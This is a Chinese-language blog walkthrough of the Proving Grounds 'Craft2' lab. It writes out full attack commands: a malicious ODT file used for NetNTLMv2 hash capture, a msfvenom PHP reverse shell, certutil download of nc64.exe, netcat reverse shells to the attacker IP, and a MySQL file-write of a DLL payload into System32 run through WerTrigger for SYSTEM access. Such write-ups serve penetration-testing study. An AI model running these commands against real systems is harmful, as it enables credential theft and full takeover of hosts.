Proving Grounds Practice : Craft2 Walkthrough

Proving Grounds Practice : Craft2 Walkthrough


Foothole (立足點 ) :

  • 網站發現可以上傳 ODT 檔案,利用 python code 產生惡意的 ODT 檔案送出 NetNTLMv2 HASH
  • 破解 Hash 後得到一組帳號密碼,該帳號密碼可以寫入 SMB 目錄即為網站的根目錄
  • 上傳 Windows Reverse Shell php 檔案後執行成功拿到 interactive shell

PE ( 提權 ) :

  • 透過本機的 MySQL 服務與使用 Select 語法發現可以寫入 C:\windows\system32 權限
  • 列舉 C:\windows\system32\phoneinfo.dll 是否存在(前提是要有權限可以寫入檔案到該路徑)
  • 利用 Weitrigger.exe (Report.wer 要在同路徑) 去執行惡意的 dll 建立 Reverse Shell 回來

注意事項 :

  • 學習到 ODT 檔是一種 Office 文件檔案,惡意檔案送出後可以丟出 NetNTLMv2 驗證
  • 學習列舉 C:\windows\system32\phoneinfo.dll 是否存在(前提是要有權限可以寫入檔案到該路徑)
  • 建立 phoneinfo.dll payload 後需要使用服務帳號去複製到 C:\windows\system32 底下
  • 學習使用 MySQL 指令 select load_file 與 into dumpfile 的方式去 COPY 檔案
  • 指令範例 select load_file ('C:\\\\xampp\\htdocs\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';
  • 利用 Weitrigger.exe (Report.wer 要在同路徑) 去執行惡意的 dll 建立 Reverse Shell 回來


Kali IP : 192.168.45.187

靶機 IP : 192.168.244.188


第一步 Ruststan,└─$ rustscan -a 192.168.244.188 --scripts none --ulimit 5000 | tee rustscan


snmp,└─$ sudo nmap -sU -Pn -p 161 192.168.244.188 | tee snmp,看來沒戲


nmap
80 Apache


enum4linux without credential,列舉不到東西


whatweb 80

得到帳號 admin

郵件地址 admin@craft.offs

是一個 php 語法的網站


80 /


80 /robots.txt 沒有東西



80 / 網頁中間看來可以上傳履歷表



標準作業先上一個 test.txt 檔案試試看,看來有鎖檔案只允許 ODT 檔案



Admin Login 點下去寫正在建置中


gobuster 結果,/assets、/css、/examples、/index.php、/js、/upload.php、/uploads


看到 /uploads 先上傳一個 test.odt 檔案試試看可否看到


/uploads 結果沒看到



逛逛其他路徑看看有無啥發現 /assets



80 /css



80 /js



逛了一圈沒看到可利用的東西,改朝向上傳 ODT 檔案下手

不清楚 ODT 是甚麼東西直接使用 Exploit-DB 查查看



第一個進去看是 [ Malicious ODF File Creator ]



看來應用是上傳 ODT 檔案後會送出驗證,所以叫你起 Responder 來接聽




使用 44564.py 跑了一輪,裝了套件、改了 py 等都沒有成功



看了一下原作的網站沒啥幫助



Google 其他看看有無好用的 ODF 產生器,這名稱好讚直接叫 badodf


改用這個試試看 https://github.com/rmdavy/badodf/blob/master/badodt.py



執行後輸入 Listener IP ,建立了 bad.odt 檔案


接著先啟動 Responder,└─$ sudo responder -I tun0                  


上傳 bad.odf


Responder 看到帳號 CRAFT2\thecybergeek HASH 來驗證了


存成 hash 檔開始 hashcat 破解



獲得一組帳號密碼 thecybergeek:winniethepooh



crackmapexec 測試一下有無權限,看來這組帳號密碼沒有問題但不是管理者

└─$ crackmapexec smb 192.168.244.188 -u thecybergeek -p winniethepooh



enum4linux 帶入帳號密碼看看有沒有甚麼新東西

└─$ enum4linux -a -u "CRAFT2\\thecybergeek" -p "winniethepooh" 192.168.244.188



445 有個 WebAPP 的資料夾



smbclient 進去看看,└─$ smbclient //192.168.244.188/WebApp -U "CRAFT2\\thecybergeek" --password="winniethepooh"



從那幾個檔案來看就是網站的根目錄,馬上測試上傳檔案 test.txt 看看,可以成功上傳



也可以正常讀取到檔案



標準作業建立 php reverse sehll payload,└─$ msfvenom -p php/reverse_php LHOST=192.168.45.187 LPORT=4444 -f raw > rshell.php


上傳 rshell.php


執行後 session 進來了,但是過一段時間會斷,上載 nc64.exe 再建一個回來

certutil -urlcache -f http://192.168.45.187/nc64.exe C:\users\public\nc64.exe

c:\users\public\nc64.exe 192.168.45.187 4445 -e c:\windows\system32\cmd.exe



開始 PE,whoami /priv



裝的是 xampp,查一下有無好用的 phpmyadmin,看來是有



外部瀏覽無法開啟 /phpadmin,先搭建 chisel 對應 80-to-80

iwr -uri http://192.168.45.187/chisel.exe -Outfile chisel.exe

.\chisel.exe client 192.168.45.187:8080 R:8088:locallost:80

對應靶機的 80 Port 到攻擊機的 8088 Port




phpmyadmin 開起來了,發現可以直接執行 SQL 語法



利用新的權限 COPY 一個 nc64.exe 出來,select load_file('C:\\\\users\\apache\\desktop\\nc64.exe') into outfile 'C:\\\\users\\apache\\desktop\\nc642.exe';



icacls 看一下權限,發現兩個權限一樣沒有太大意義



直接 mapping MySQL 3306 Port 到 kali 3306 Port



利用 root 登入測試看看,mysql -h 127.0.0.1 -u root -p

看來不用密碼可以直接進去,就不用 phpmyadmin 的網頁介面直接使用 cmd 介面最快



試試看用 select load_file 指令可不可以直接讀檔案,發現可以直接讀到 flag

可以先輸入了,但是考是當下這樣是不算的,要拿到管理者權限才有用

select load_file('C:\\\\Users\\Administrator\\Desktop\\proof.txt');



所以從上面知道 MySQL 服務的權限看來是很大的,實際查看看 MySQL 的權限

指令 : cmd /c sc qc  Mysql,確認是用 LocalSystem 的權限啟動的,看來很大沒有錯

接下來要想一下可以用甚麼方是透過 MySQL 的權限去提權



先跑跑看 winPEASx64.exe 看看



有發現我們現在的使用者 apache HASH,不過跑了 hashcat 後無法破解


MySQL 執行的檔案 C:\xampp\mysql\bin\mysqld.exe


發現一組密碼 "xxj31ZMTZzkVA",看來應該是 apache 帳號的密碼



使用者帳號還有 apache、administrator



使用了 crackmapexec 測試了該組密碼發現都沒有用


Windows 提權最好用的網站 : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---privileged-file-write

當中的 dll 利用 : https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#usodllloader

接下來利用這個,這是利用 phoneinfo.dll 來建立 reverse shell



 

靶機上列舉時發現沒有這個 phoneinfo.dll 檔案,所以接下來嘗試利用看看



 

先行建立 phoneinfo.dll payload

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4446 -f dll -o phoneinfo.dll

依據說明到此網站下載 werTigger.exe & Report.wer

https://github.com/sailay1996/WerTrigger

透過 SMB 傳上去



上傳後路徑位於 c:\xampp\htdocs 底下



 

接著使用 MySQL 的權限將 phoneinfo.dll 移到 C:\Windows\System32 底下

select load_file('C:\\\\xampp\\htdocs\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';



 

重新 icacls 一下確認檔案放置成功



 

接著執行 Weitrigger.exe



 

4446 listen 進來了,whoami 看一下確認提權成功




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)